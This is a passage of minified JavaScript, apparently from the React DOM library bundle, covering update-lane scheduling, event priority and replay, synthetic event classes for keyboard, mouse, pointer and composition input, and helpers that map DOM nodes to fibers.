r;if((l&4)!==0&&(l|=a&16),r=t.entangledLanes,r!==0)for(t=t.entanglements,r&=l;0<r;)a=31-Ut(r),c=1<<a,l|=t[a],r&=~c;return l}function Yh(t,r){switch(t){case 1:case 2:case 4:return r+250;case 8:case 16:case 32:case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return r+5e3;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return-1;case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function Xh(t,r){for(var a=t.suspendedLanes,l=t.pingedLanes,c=t.expirationTimes,f=t.pendingLanes;0<f;){var v=31-Ut(f),_=1<<v,S=c[v];S===-1?((_&a)===0||(_&l)!==0)&&(c[v]=Yh(_,r)):S<=r&&(t.expiredLanes|=_),f&=~_}}function ds(t){return t=t.pendingLanes&-1073741825,t!==0?t:t&1073741824?1073741824:0}function Hc(){var t=yi;return yi<<=1,(yi&4194240)===0&&(yi=64),t}function ps(t){for(var r=[],a=0;31>a;a++)r.push(t);return r}function vo(t,r,a){t.pendingLanes|=r,r!==536870912&&(t.suspendedLanes=0,t.pingedLanes=0),t=t.eventTimes,r=31-Ut(r),t[r]=a}function eg(t,r){var a=t.pendingLanes&~r;t.pendingLanes=r,t.suspendedLanes=0,t.pingedLanes=0,t.expiredLanes&=r,t.mutableReadLanes&=r,t.entangledLanes&=r,r=t.entanglements;var l=t.eventTimes;for(t=t.expirationTimes;0<a;){var c=31-Ut(a),f=1<<c;r[c]=0,l[c]=-1,t[c]=-1,a&=~f}}function fs(t,r){var a=t.entangledLanes|=r;for(t=t.entanglements;a;){var l=31-Ut(a),c=1<<l;c&r|t[l]&r&&(t[l]|=r),a&=~c}}var be=0;function Kc(t){return t&=-t,1<t?4<t?(t&268435455)!==0?16:536870912:4:1}var Gc,ms,Jc,Qc,Yc,vs=!1,Ei=[],In=null,Sn=null,kn=null,ho=new Map,go=new Map,bn=[],tg="mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput copy cut paste click change contextmenu reset submit".split(" ");function Xc(t,r){switch(t){case"focusin":case"focusout":In=null;break;case"dragenter":case"dragleave":Sn=null;break;case"mouseover":case"mouseout":kn=null;break;case"pointerover":case"pointerout":ho.delete(r.pointerId);break;case"gotpointercapture":case"lostpointercapture":go.delete(r.pointerId)}}function yo(t,r,a,l,c,f){return t===null||t.nativeEvent!==f?(t={blockedOn:r,domEventName:a,eventSystemFlags:l,nativeEvent:f,targetContainers:[c]},r!==null&&(r=Po(r),r!==null&&ms(r)),t):(t.eventSystemFlags|=l,r=t.targetContainers,c!==null&&r.indexOf(c)===-1&&r.push(c),t)}function ng(t,r,a,l,c){switch(r){case"focusin":return In=yo(In,t,r,a,l,c),!0;case"dragenter":return Sn=yo(Sn,t,r,a,l,c),!0;case"mouseover":return kn=yo(kn,t,r,a,l,c),!0;case"pointerover":var f=c.pointerId;return ho.set(f,yo(ho.get(f)||null,t,r,a,l,c)),!0;case"gotpointercapture":return f=c.pointerId,go.set(f,yo(go.get(f)||null,t,r,a,l,c)),!0}return!1}function ed(t){var r=Xn(t.target);if(r!==null){var a=Yn(r);if(a!==null){if(r=a.tag,r===13){if(r=Dc(a),r!==null){t.blockedOn=r,Yc(t.priority,function(){Jc(a)});return}}else if(r===3&&a.stateNode.current.memoizedState.isDehydrated){t.blockedOn=a.tag===3?a.stateNode.containerInfo:null;return}}}t.blockedOn=null}function xi(t){if(t.blockedOn!==null)return!1;for(var r=t.targetContainers;0<r.length;){var a=gs(t.domEventName,t.eventSystemFlags,r[0],t.nativeEvent);if(a===null){a=t.nativeEvent;var l=new a.constructor(a.type,a);os=l,a.target.dispatchEvent(l),os=null}else return r=Po(a),r!==null&&ms(r),t.blockedOn=a,!1;r.shift()}return!0}function td(t,r,a){xi(t)&&a.delete(r)}function rg(){vs=!1,In!==null&&xi(In)&&(In=null),Sn!==null&&xi(Sn)&&(Sn=null),kn!==null&&xi(kn)&&(kn=null),ho.forEach(td),go.forEach(td)}function _o(t,r){t.blockedOn===r&&(t.blockedOn=null,vs||(vs=!0,n.unstable_scheduleCallback(n.unstable_NormalPriority,rg)))}function wo(t){function r(c){return _o(c,t)}if(0<Ei.length){_o(Ei[0],t);for(var a=1;a<Ei.length;a++){var l=Ei[a];l.blockedOn===t&&(l.blockedOn=null)}}for(In!==null&&_o(In,t),Sn!==null&&_o(Sn,t),kn!==null&&_o(kn,t),ho.forEach(r),go.forEach(r),a=0;a<bn.length;a++)l=bn[a],l.blockedOn===t&&(l.blockedOn=null);for(;0<bn.length&&(a=bn[0],a.blockedOn===null);)ed(a),a.blockedOn===null&&bn.shift()}var Er=K.ReactCurrentBatchConfig,Ii=!0;function og(t,r,a,l){var c=be,f=Er.transition;Er.transition=null;try{be=1,hs(t,r,a,l)}finally{be=c,Er.transition=f}}function ig(t,r,a,l){var c=be,f=Er.transition;Er.transition=null;try{be=4,hs(t,r,a,l)}finally{be=c,Er.transition=f}}function hs(t,r,a,l){if(Ii){var c=gs(t,r,a,l);if(c===null)As(t,r,l,Si,a),Xc(t,l);else if(ng(c,t,r,a,l))l.stopPropagation();else if(Xc(t,l),r&4&&-1<tg.indexOf(t)){for(;c!==null;){var f=Po(c);if(f!==null&&Gc(f),f=gs(t,r,a,l),f===null&&As(t,r,l,Si,a),f===c)break;c=f}c!==null&&l.stopPropagation()}else As(t,r,l,null,a)}}var Si=null;function gs(t,r,a,l){if(Si=null,t=is(l),t=Xn(t),t!==null)if(r=Yn(t),r===null)t=null;else if(a=r.tag,a===13){if(t=Dc(r),t!==null)return t;t=null}else if(a===3){if(r.stateNode.current.memoizedState.isDehydrated)return r.tag===3?r.stateNode.containerInfo:null;t=null}else r!==t&&(t=null);return Si=t,null}function nd(t){switch(t){case"cancel":case"click":case"close":case"contextmenu":case"copy":case"cut":case"auxclick":case"dblclick":case"dragend":case"dragstart":case"drop":case"focusin":case"focusout":case"input":case"invalid":case"keydown":case"keypress":case"keyup":case"mousedown":case"mouseup":case"paste":case"pause":case"play":case"pointercancel":case"pointerdown":case"pointerup":case"ratechange":case"reset":case"resize":case"seeked":case"submit":case"touchcancel":case"touchend":case"touchstart":case"volumechange":case"change":case"selectionchange":case"textInput":case"compositionstart":case"compositionend":case"compositionupdate":case"beforeblur":case"afterblur":case"beforeinput":case"blur":case"fullscreenchange":case"focus":case"hashchange":case"popstate":case"select":case"selectstart":return 1;case"drag":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"mousemove":case"mouseout":case"mouseover":case"pointermove":case"pointerout":case"pointerover":case"scroll":case"toggle":case"touchmove":case"wheel":case"mouseenter":case"mouseleave":case"pointerenter":case"pointerleave":return 4;case"message":switch(Wh()){case cs:return 1;case Vc:return 4;case hi:case Hh:return 16;case Wc:return 536870912;default:return 16}default:return 16}}var zn=null,ys=null,ki=null;function rd(){if(ki)return ki;var t,r=ys,a=r.length,l,c="value"in zn?zn.value:zn.textContent,f=c.length;for(t=0;t<a&&r[t]===c[t];t++);var v=a-t;for(l=1;l<=v&&r[a-l]===c[f-l];l++);return ki=c.slice(t,1<l?1-l:void 0)}function bi(t){var r=t.keyCode;return"charCode"in t?(t=t.charCode,t===0&&r===13&&(t=13)):t=r,t===10&&(t=13),32<=t||t===13?t:0}function zi(){return!0}function od(){return!1}function zt(t){function r(a,l,c,f,v){this._reactName=a,this._targetInst=c,this.type=l,this.nativeEvent=f,this.target=v,this.currentTarget=null;for(var _ in t)t.hasOwnProperty(_)&&(a=t[_],this[_]=a?a(f):f[_]);return this.isDefaultPrevented=(f.defaultPrevented!=null?f.defaultPrevented:f.returnValue===!1)?zi:od,this.isPropagationStopped=od,this}return ee(r.prototype,{preventDefault:function(){this.defaultPrevented=!0;var a=this.nativeEvent;a&&(a.preventDefault?a.preventDefault():typeof a.returnValue!="unknown"&&(a.returnValue=!1),this.isDefaultPrevented=zi)},stopPropagation:function(){var a=this.nativeEvent;a&&(a.stopPropagation?a.stopPropagation():typeof a.cancelBubble!="unknown"&&(a.cancelBubble=!0),this.isPropagationStopped=zi)},persist:function(){},isPersistent:zi}),r}var xr={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(t){return t.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},_s=zt(xr),Eo=ee({},xr,{view:0,detail:0}),ag=zt(Eo),ws,Es,xo,Ti=ee({},Eo,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:Is,button:0,buttons:0,relatedTarget:function(t){return t.relatedTarget===void 0?t.fromElement===t.srcElement?t.toElement:t.fromElement:t.relatedTarget},movementX:function(t){return"movementX"in t?t.movementX:(t!==xo&&(xo&&t.type==="mousemove"?(ws=t.screenX-xo.screenX,Es=t.screenY-xo.screenY):Es=ws=0,xo=t),ws)},movementY:function(t){return"movementY"in t?t.movementY:Es}}),id=zt(Ti),sg=ee({},Ti,{dataTransfer:0}),lg=zt(sg),ug=ee({},Eo,{relatedTarget:0}),xs=zt(ug),cg=ee({},xr,{animationName:0,elapsedTime:0,pseudoElement:0}),dg=zt(cg),pg=ee({},xr,{clipboardData:function(t){return"clipboardData"in t?t.clipboardData:window.clipboardData}}),fg=zt(pg),mg=ee({},xr,{data:0}),ad=zt(mg),vg={Esc:"Escape",Spacebar:" ",Left:"ArrowLeft",Up:"ArrowUp",Right:"ArrowRight",Down:"ArrowDown",Del:"Delete",Win:"OS",Menu:"ContextMenu",Apps:"ContextMenu",Scroll:"ScrollLock",MozPrintableKey:"Unidentified"},hg={8:"Backspace",9:"Tab",12:"Clear",13:"Enter",16:"Shift",17:"Control",18:"Alt",19:"Pause",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",45:"Insert",46:"Delete",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"NumLock",145:"ScrollLock",224:"Meta"},gg={Alt:"altKey",Control:"ctrlKey",Meta:"metaKey",Shift:"shiftKey"};function yg(t){var r=this.nativeEvent;return r.getModifierState?r.getModifierState(t):(t=gg[t])?!!r[t]:!1}function Is(){return yg}var _g=ee({},Eo,{key:function(t){if(t.key){var r=vg[t.key]||t.key;if(r!=="Unidentified")return r}return t.type==="keypress"?(t=bi(t),t===13?"Enter":String.fromCharCode(t)):t.type==="keydown"||t.type==="keyup"?hg[t.keyCode]||"Unidentified":""},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:Is,charCode:function(t){return t.type==="keypress"?bi(t):0},keyCode:function(t){return t.type==="keydown"||t.type==="keyup"?t.keyCode:0},which:function(t){return t.type==="keypress"?bi(t):t.type==="keydown"||t.type==="keyup"?t.keyCode:0}}),wg=zt(_g),Eg=ee({},Ti,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0}),sd=zt(Eg),xg=ee({},Eo,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:Is}),Ig=zt(xg),Sg=ee({},xr,{propertyName:0,elapsedTime:0,pseudoElement:0}),kg=zt(Sg),bg=ee({},Ti,{deltaX:function(t){return"deltaX"in t?t.deltaX:"wheelDeltaX"in t?-t.wheelDeltaX:0},deltaY:function(t){return"deltaY"in t?t.deltaY:"wheelDeltaY"in t?-t.wheelDeltaY:"wheelDelta"in t?-t.wheelDelta:0},deltaZ:0,deltaMode:0}),zg=zt(bg),Tg=[9,13,27,32],Ss=m&&"CompositionEvent"in window,Io=null;m&&"documentMode"in document&&(Io=document.documentMode);var Cg=m&&"TextEvent"in window&&!Io,ld=m&&(!Ss||Io&&8<Io&&11>=Io),ud=" ",cd=!1;function dd(t,r){switch(t){case"keyup":return Tg.indexOf(r.keyCode)!==-1;case"keydown":return r.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function pd(t){return t=t.detail,typeof t=="object"&&"data"in t?t.data:null}var Ir=!1;function Rg(t,r){switch(t){case"compositionend":return pd(r);case"keypress":return r.which!==32?null:(cd=!0,ud);case"textInput":return t=r.data,t===ud&&cd?null:t;default:return null}}function Bg(t,r){if(Ir)return t==="compositionend"||!Ss&&dd(t,r)?(t=rd(),ki=ys=zn=null,Ir=!1,t):null;switch(t){case"paste":return null;case"keypress":if(!(r.ctrlKey||r.altKey||r.metaKey)||r.ctrlKey&&r.altKey){if(r.char&&1<r.char.length)return r.char;if(r.which)return String.fromCharCode(r.which)}return null;case"compositionend":return ld&&r.locale!=="ko"?null:r.data;default:return null}}var Pg={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function fd(t){var r=t&&t.nodeName&&t.nodeName.toLowerCase();return r==="input"?!!Pg[t.type]:r==="textarea"}function md(t,r,a,l){Ac(l),r=Ni(r,"onChange"),0<r.length&&(a=new _s("onChange","change",null,a,l),t.push({event:a,listeners:r}))}var So=null,ko=null;function Ng(t){Pd(t,0)}function Ci(t){var r=Tr(t);if(xc(r))return t}function Ag(t,r){if(t==="change")return r}var vd=!1;if(m){var ks;if(m){var bs="oninput"in document;if(!bs){var hd=document.createElement("div");hd.setAttribute("oninput","return;"),bs=typeof hd.oninput=="function"}ks=bs}else ks=!1;vd=ks&&(!document.documentMode||9<document.documentMode)}function gd(){So&&(So.detachEvent("onpropertychange",yd),ko=So=null)}function yd(t){if(t.propertyName==="value"&&Ci(ko)){var r=[];md(r,ko,t,is(t)),Lc(Ng,r)}}function Og(t,r,a){t==="focusin"?(gd(),So=r,ko=a,So.attachEvent("onpropertychange",yd)):t==="focusout"&&gd()}function jg(t){if(t==="selectionchange"||t==="keyup"||t==="keydown")return Ci(ko)}function $g(t,r){if(t==="click")return Ci(r)}function Lg(t,r){if(t==="input"||t==="change")return Ci(r)}function Dg(t,r){return t===r&&(t!==0||1/t===1/r)||t!==t&&r!==r}var Zt=typeof Object.is=="function"?Object.is:Dg;function bo(t,r){if(Zt(t,r))return!0;if(typeof t!="object"||t===null||typeof r!="object"||r===null)return!1;var a=Object.keys(t),l=Object.keys(r);if(a.length!==l.length)return!1;for(l=0;l<a.length;l++){var c=a[l];if(!h.call(r,c)||!Zt(t[c],r[c]))return!1}return!0}function _d(t){for(;t&&t.firstChild;)t=t.firstChild;return t}function wd(t,r){var a=_d(t);t=0;for(var l;a;){if(a.nodeType===3){if(l=t+a.textContent.length,t<=r&&l>=r)return{node:a,offset:r-t};t=l}e:{for(;a;){if(a.nextSibling){a=a.nextSibling;break e}a=a.parentNode}a=void 0}a=_d(a)}}function Ed(t,r){return t&&r?t===r?!0:t&&t.nodeType===3?!1:r&&r.nodeType===3?Ed(t,r.parentNode):"contains"in t?t.contains(r):t.compareDocumentPosition?!!(t.compareDocumentPosition(r)&16):!1:!1}function xd(){for(var t=window,r=pi();r instanceof t.HTMLIFrameElement;){try{var a=typeof r.contentWindow.location.href=="string"}catch{a=!1}if(a)t=r.contentWindow;else break;r=pi(t.document)}return r}function zs(t){var r=t&&t.nodeName&&t.nodeName.toLowerCase();return r&&(r==="input"&&(t.type==="text"||t.type==="search"||t.type==="tel"||t.type==="url"||t.type==="password")||r==="textarea"||t.contentEditable==="true")}function Mg(t){var r=xd(),a=t.focusedElem,l=t.selectionRange;if(r!==a&&a&&a.ownerDocument&&Ed(a.ownerDocument.documentElement,a)){if(l!==null&&zs(a)){if(r=l.start,t=l.end,t===void 0&&(t=r),"selectionStart"in a)a.selectionStart=r,a.selectionEnd=Math.min(t,a.value.length);else if(t=(r=a.ownerDocument||document)&&r.defaultView||window,t.getSelection){t=t.getSelection();var c=a.textContent.length,f=Math.min(l.start,c);l=l.end===void 0?f:Math.min(l.end,c),!t.extend&&f>l&&(c=l,l=f,f=c),c=wd(a,f);var v=wd(a,l);c&&v&&(t.rangeCount!==1||t.anchorNode!==c.node||t.anchorOffset!==c.offset||t.focusNode!==v.node||t.focusOffset!==v.offset)&&(r=r.createRange(),r.setStart(c.node,c.offset),t.removeAllRanges(),f>l?(t.addRange(r),t.extend(v.node,v.offset)):(r.setEnd(v.node,v.offset),t.addRange(r)))}}for(r=[],t=a;t=t.parentNode;)t.nodeType===1&&r.push({element:t,left:t.scrollLeft,top:t.scrollTop});for(typeof a.focus=="function"&&a.focus(),a=0;a<r.length;a++)t=r[a],t.element.scrollLeft=t.left,t.element.scrollTop=t.top}}var Fg=m&&"documentMode"in document&&11>=document.documentMode,Sr=null,Ts=null,zo=null,Cs=!1;function Id(t,r,a){var l=a.window===a?a.document:a.nodeType===9?a:a.ownerDocument;Cs||Sr==null||Sr!==pi(l)||(l=Sr,"selectionStart"in l&&zs(l)?l={start:l.selectionStart,end:l.selectionEnd}:(l=(l.ownerDocument&&l.ownerDocument.defaultView||window).getSelection(),l={anchorNode:l.anchorNode,anchorOffset:l.anchorOffset,focusNode:l.focusNode,focusOffset:l.focusOffset}),zo&&bo(zo,l)||(zo=l,l=Ni(Ts,"onSelect"),0<l.length&&(r=new _s("onSelect","select",null,r,a),t.push({event:r,listeners:l}),r.target=Sr)))}function Ri(t,r){var a={};return a[t.toLowerCase()]=r.toLowerCase(),a["Webkit"+t]="webkit"+r,a["Moz"+t]="moz"+r,a}var kr={animationend:Ri("Animation","AnimationEnd"),animationiteration:Ri("Animation","AnimationIteration"),animationstart:Ri("Animation","AnimationStart"),transitionend:Ri("Transition","TransitionEnd")},Rs={},Sd={};m&&(Sd=document.createElement("div").style,"AnimationEvent"in window||(delete kr.animationend.animation,delete kr.animationiteration.animation,delete kr.animationstart.animation),"TransitionEvent"in window||delete kr.transitionend.transition);function Bi(t){if(Rs[t])return Rs[t];if(!kr[t])return t;var r=kr[t],a;for(a in r)if(r.hasOwnProperty(a)&&a in Sd)return Rs[t]=r[a];return t}var kd=Bi("animationend"),bd=Bi("animationiteration"),zd=Bi("animationstart"),Td=Bi("transitionend"),Cd=new Map,Rd="abort auxClick cancel canPlay canPlayThrough click close contextMenu copy cut drag dragEnd dragEnter dragExit dragLeave dragOver dragStart drop durationChange emptied encrypted ended error gotPointerCapture input invalid keyDown keyPress keyUp load loadedData loadedMetadata loadStart lostPointerCapture mouseDown mouseMove mouseOut mouseOver mouseUp paste pause play playing pointerCancel pointerDown pointerMove pointerOut pointerOver pointerUp progress rateChange reset resize seeked seeking stalled submit suspend timeUpdate touchCancel touchEnd touchStart volumeChange scroll toggle touchMove waiting wheel".split(" ");function Tn(t,r){Cd.set(t,r),p(r,[t])}for(var Bs=0;Bs<Rd.length;Bs++){var Ps=Rd[Bs],Ug=Ps.toLowerCase(),Zg=Ps[0].toUpperCase()+Ps.slice(1);Tn(Ug,"on"+Zg)}Tn(kd,"onAnimationEnd"),Tn(bd,"onAnimationIteration"),Tn(zd,"onAnimationStart"),Tn("dblclick","onDoubleClick"),Tn("focusin","onFocus"),Tn("focusout","onBlur"),Tn(Td,"onTransitionEnd"),d("onMouseEnter",["mouseout","mouseover"]),d("onMouseLeave",["mouseout","mouseover"]),d("onPointerEnter",["pointerout","pointerover"]),d("onPointerLeave",["pointerout","pointerover"]),p("onChange","change click focusin focusout input keydown keyup selectionchange".split(" ")),p("onSelect","focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange".split(" ")),p("onBeforeInput",["compositionend","keypress","textInput","paste"]),p("onCompositionEnd","compositionend focusout keydown keypress keyup mousedown".split(" ")),p("onCompositionStart","compositionstart focusout keydown keypress keyup mousedown".split(" ")),p("onCompositionUpdate","compositionupdate focusout keydown keypress keyup mousedown".split(" "));var To="abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange resize seeked seeking stalled suspend timeupdate volumechange waiting".split(" "),qg=new Set("cancel close invalid load scroll toggle".split(" ").concat(To));function Bd(t,r,a){var l=t.type||"unknown-event";t.currentTarget=a,Uh(l,r,void 0,t),t.currentTarget=null}function Pd(t,r){r=(r&4)!==0;for(var a=0;a<t.length;a++){var l=t[a],c=l.event;l=l.listeners;e:{var f=void 0;if(r)for(var v=l.length-1;0<=v;v--){var _=l[v],S=_.instance,P=_.currentTarget;if(_=_.listener,S!==f&&c.isPropagationStopped())break e;Bd(c,_,P),f=S}else for(v=0;v<l.length;v++){if(_=l[v],S=_.instance,P=_.currentTarget,_=_.listener,S!==f&&c.isPropagationStopped())break e;Bd(c,_,P),f=S}}}if(vi)throw t=us,vi=!1,us=null,t}function Pe(t,r){var a=r[Ms];a===void 0&&(a=r[Ms]=new Set);var l=t+"__bubble";a.has(l)||(Nd(r,t,2,!1),a.add(l))}function Ns(t,r,a){var l=0;r&&(l|=4),Nd(a,t,l,r)}var Pi="_reactListening"+Math.random().toString(36).slice(2);function Co(t){if(!t[Pi]){t[Pi]=!0,s.forEach(function(a){a!=="selectionchange"&&(qg.has(a)||Ns(a,!1,t),Ns(a,!0,t))});var r=t.nodeType===9?t:t.ownerDocument;r===null||r[Pi]||(r[Pi]=!0,Ns("selectionchange",!1,r))}}function Nd(t,r,a,l){switch(nd(r)){case 1:var c=og;break;case 4:c=ig;break;default:c=hs}a=c.bind(null,r,a,t),c=void 0,!ls||r!=="touchstart"&&r!=="touchmove"&&r!=="wheel"||(c=!0),l?c!==void 0?t.addEventListener(r,a,{capture:!0,passive:c}):t.addEventListener(r,a,!0):c!==void 0?t.addEventListener(r,a,{passive:c}):t.addEventListener(r,a,!1)}function As(t,r,a,l,c){var f=l;if((r&1)===0&&(r&2)===0&&l!==null)e:for(;;){if(l===null)return;var v=l.tag;if(v===3||v===4){var _=l.stateNode.containerInfo;if(_===c||_.nodeType===8&&_.parentNode===c)break;if(v===4)for(v=l.return;v!==null;){var S=v.tag;if((S===3||S===4)&&(S=v.stateNode.containerInfo,S===c||S.nodeType===8&&S.parentNode===c))return;v=v.return}for(;_!==null;){if(v=Xn(_),v===null)return;if(S=v.tag,S===5||S===6){l=f=v;continue e}_=_.parentNode}}l=l.return}Lc(function(){var P=f,U=is(a),q=[];e:{var M=Cd.get(t);if(M!==void 0){var J=_s,te=t;switch(t){case"keypress":if(bi(a)===0)break e;case"keydown":case"keyup":J=wg;break;case"focusin":te="focus",J=xs;break;case"focusout":te="blur",J=xs;break;case"beforeblur":case"afterblur":J=xs;break;case"click":if(a.button===2)break e;case"auxclick":case"dblclick":case"mousedown":case"mousemove":case"mouseup":case"mouseout":case"mouseover":case"contextmenu":J=id;break;case"drag":case"dragend":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"dragstart":case"drop":J=lg;break;case"touchcancel":case"touchend":case"touchmove":case"touchstart":J=Ig;break;case kd:case bd:case zd:J=dg;break;case Td:J=kg;break;case"scroll":J=ag;break;case"wheel":J=zg;break;case"copy":case"cut":case"paste":J=fg;break;case"gotpointercapture":case"lostpointercapture":case"pointercancel":case"pointerdown":case"pointermove":case"pointerout":case"pointerover":case"pointerup":J=sd}var ne=(r&4)!==0,Je=!ne&&t==="scroll",C=ne?M!==null?M+"Capture":null:M;ne=[];for(var k=P,R;k!==null;){R=k;var W=R.stateNode;if(R.tag===5&&W!==null&&(R=W,C!==null&&(W=co(k,C),W!=null&&ne.push(Ro(k,W,R)))),Je)break;k=k.return}0<ne.length&&(M=new J(M,te,null,a,U),q.push({event:M,listeners:ne}))}}if((r&7)===0){e:{if(M=t==="mouseover"||t==="pointerover",J=t==="mouseout"||t==="pointerout",M&&a!==os&&(te=a.relatedTarget||a.fromElement)&&(Xn(te)||te[an]))break e;if((J||M)&&(M=U.window===U?U:(M=U.ownerDocument)?M.defaultView||M.parentWindow:window,J?(te=a.relatedTarget||a.toElement,J=P,te=te?Xn(te):null,te!==null&&(Je=Yn(te),te!==Je||te.tag!==5&&te.tag!==6)&&(te=null)):(J=null,te=P),J!==te)){if(ne=id,W="onMouseLeave",C="onMouseEnter",k="mouse",(t==="pointerout"||t==="pointerover")&&(ne=sd,W="onPointerLeave",C="onPointerEnter",k="pointer"),Je=J==null?M:Tr(J),R=te==null?M:Tr(te),M=new ne(W,k+"leave",J,a,U),M.target=Je,M.relatedTarget=R,W=null,Xn(U)===P&&(ne=new ne(C,k+"enter",te,a,U),ne.target=R,ne.relatedTarget=Je,W=ne),Je=W,J&&te)t:{for(ne=J,C=te,k=0,R=ne;R;R=br(R))k++;for(R=0,W=C;W;W=br(W))R++;for(;0<k-R;)ne=br(ne),k--;for(;0<R-k;)C=br(C),R--;for(;k--;){if(ne===C||C!==null&&ne===C.alternate)break t;ne=br(ne),C=br(C)}ne=null}else ne=null;J!==null&&Ad(q,M,J,ne,!1),te!==null&&Je!==null&&Ad(q,Je,te,ne,!0)}}e:{if(M=P?Tr(P):window,J=M.nodeName&&M.nodeName.toLowerCase(),J==="select"||J==="input"&&M.type==="file")var re=Ag;else if(fd(M))if(vd)re=Lg;else{re=jg;var ae=Og}else(J=M.nodeName)&&J.toLowerCase()==="input"&&(M.type==="checkbox"||M.type==="radio")&&(re=$g);if(re&&(re=re(t,P))){md(q,re,a,U);break e}ae&&ae(t,M,P),t==="focusout"&&(ae=M._wrapperState)&&ae.controlled&&M.type==="number"&&Xa(M,"number",M.value)}switch(ae=P?Tr(P):window,t){case"focusin":(fd(ae)||ae.contentEditable==="true")&&(Sr=ae,Ts=P,zo=null);break;case"focusout":zo=Ts=Sr=null;break;case"mousedown":Cs=!0;break;case"contextmenu":case"mouseup":case"dragend":Cs=!1,Id(q,a,U);break;case"selectionchange":if(Fg)break;case"keydown":case"keyup":Id(q,a,U)}var se;if(Ss)e:{switch(t){case"compositionstart":var de="onCompositionStart";break e;case"compositionend":de="onCompositionEnd";break e;case"compositionupdate":de="onCompositionUpdate";break e}de=void 0}else Ir?dd(t,a)&&(de="onCompositionEnd"):t==="keydown"&&a.keyCode===229&&(de="onCompositionStart");de&&(ld&&a.locale!=="ko"&&(Ir||de!=="onCompositionStart"?de==="onCompositionEnd"&&Ir&&(se=rd()):(zn=U,ys="value"in zn?zn.value:zn.textContent,Ir=!0)),ae=Ni(P,de),0<ae.length&&(de=new ad(de,t,null,a,U),q.push({event:de,listeners:ae}),se?de.data=se:(se=pd(a),se!==null&&(de.data=se)))),(se=Cg?Rg(t,a):Bg(t,a))&&(P=Ni(P,"onBeforeInput"),0<P.length&&(U=new ad("onBeforeInput","beforeinput",null,a,U),q.push({event:U,listeners:P}),U.data=se))}Pd(q,r)})}function Ro(t,r,a){return{instance:t,listener:r,currentTarget:a}}function Ni(t,r){for(var a=r+"Capture",l=[];t!==null;){var c=t,f=c.stateNode;c.tag===5&&f!==null&&(c=f,f=co(t,a),f!=null&&l.unshift(Ro(t,f,c)),f=co(t,r),f!=null&&l.push(Ro(t,f,c))),t=t.return}return l}function br(t){if(t===null)return null;do t=t.return;while(t&&t.tag!==5);return t||null}function Ad(t,r,a,l,c){for(var f=r._reactName,v=[];a!==null&&a!==l;){var _=a,S=_.alternate,P=_.stateNode;if(S!==null&&S===l)break;_.tag===5&&P!==null&&(_=P,c?(S=co(a,f),S!=null&&v.unshift(Ro(a,S,_))):c||(S=co(a,f),S!=null&&v.push(Ro(a,S,_)))),a=a.return}v.length!==0&&t.push({event:r,listeners:v})}var Vg=/\r\n?/g,Wg=/\u0000|\uFFFD/g;function Od(t){return(typeof t=="string"?t:""+t).replace(Vg,`
-`).replace(Wg,"")}function Ai(t,r,a){if(r=Od(r),Od(t)!==r&&a)throw Error(o(425))}function Oi(){}var Os=null,js=null;function $s(t,r){return t==="textarea"||t==="noscript"||typeof r.children=="string"||typeof r.children=="number"||typeof r.dangerouslySetInnerHTML=="object"&&r.dangerouslySetInnerHTML!==null&&r.dangerouslySetInnerHTML.__html!=null}var Ls=typeof setTimeout=="function"?setTimeout:void 0,Hg=typeof clearTimeout=="function"?clearTimeout:void 0,jd=typeof Promise=="function"?Promise:void 0,Kg=typeof queueMicrotask=="function"?queueMicrotask:typeof jd<"u"?function(t){return jd.resolve(null).then(t).catch(Gg)}:Ls;function Gg(t){setTimeout(function(){throw t})}function Ds(t,r){var a=r,l=0;do{var c=a.nextSibling;if(t.removeChild(a),c&&c.nodeType===8)if(a=c.data,a==="/$"){if(l===0){t.removeChild(c),wo(r);return}l--}else a!=="$"&&a!=="$?"&&a!=="$!"||l++;a=c}while(a);wo(r)}function Cn(t){for(;t!=null;t=t.nextSibling){var r=t.nodeType;if(r===1||r===3)break;if(r===8){if(r=t.data,r==="$"||r==="$!"||r==="$?")break;if(r==="/$")return null}}return t}function $d(t){t=t.previousSibling;for(var r=0;t;){if(t.nodeType===8){var a=t.data;if(a==="$"||a==="$!"||a==="$?"){if(r===0)return t;r--}else a==="/$"&&r++}t=t.previousSibling}return null}var zr=Math.random().toString(36).slice(2),Xt="__reactFiber$"+zr,Bo="__reactProps$"+zr,an="__reactContainer$"+zr,Ms="__reactEvents$"+zr,Jg="__reactListeners$"+zr,Qg="__reactHandles$"+zr;function Xn(t){var r=t[Xt];if(r)return r;for(var a=t.parentNode;a;){if(r=a[an]||a[Xt]){if(a=r.alternate,r.child!==null||a!==null&&a.child!==null)for(t=$d(t);t!==null;){if(a=t[Xt])return a;t=$d(t)}return r}t=a,a=t.parentNode}return null}function Po(t){return t=t[Xt]||t[an],!t||t.tag!==5&&t.tag!==6&&t.tag!==13&&t.tag!==3?null:t}function Tr(t){if(t.tag===5||t.tag===6)return t.stateNode;throw Error(o(33))}function 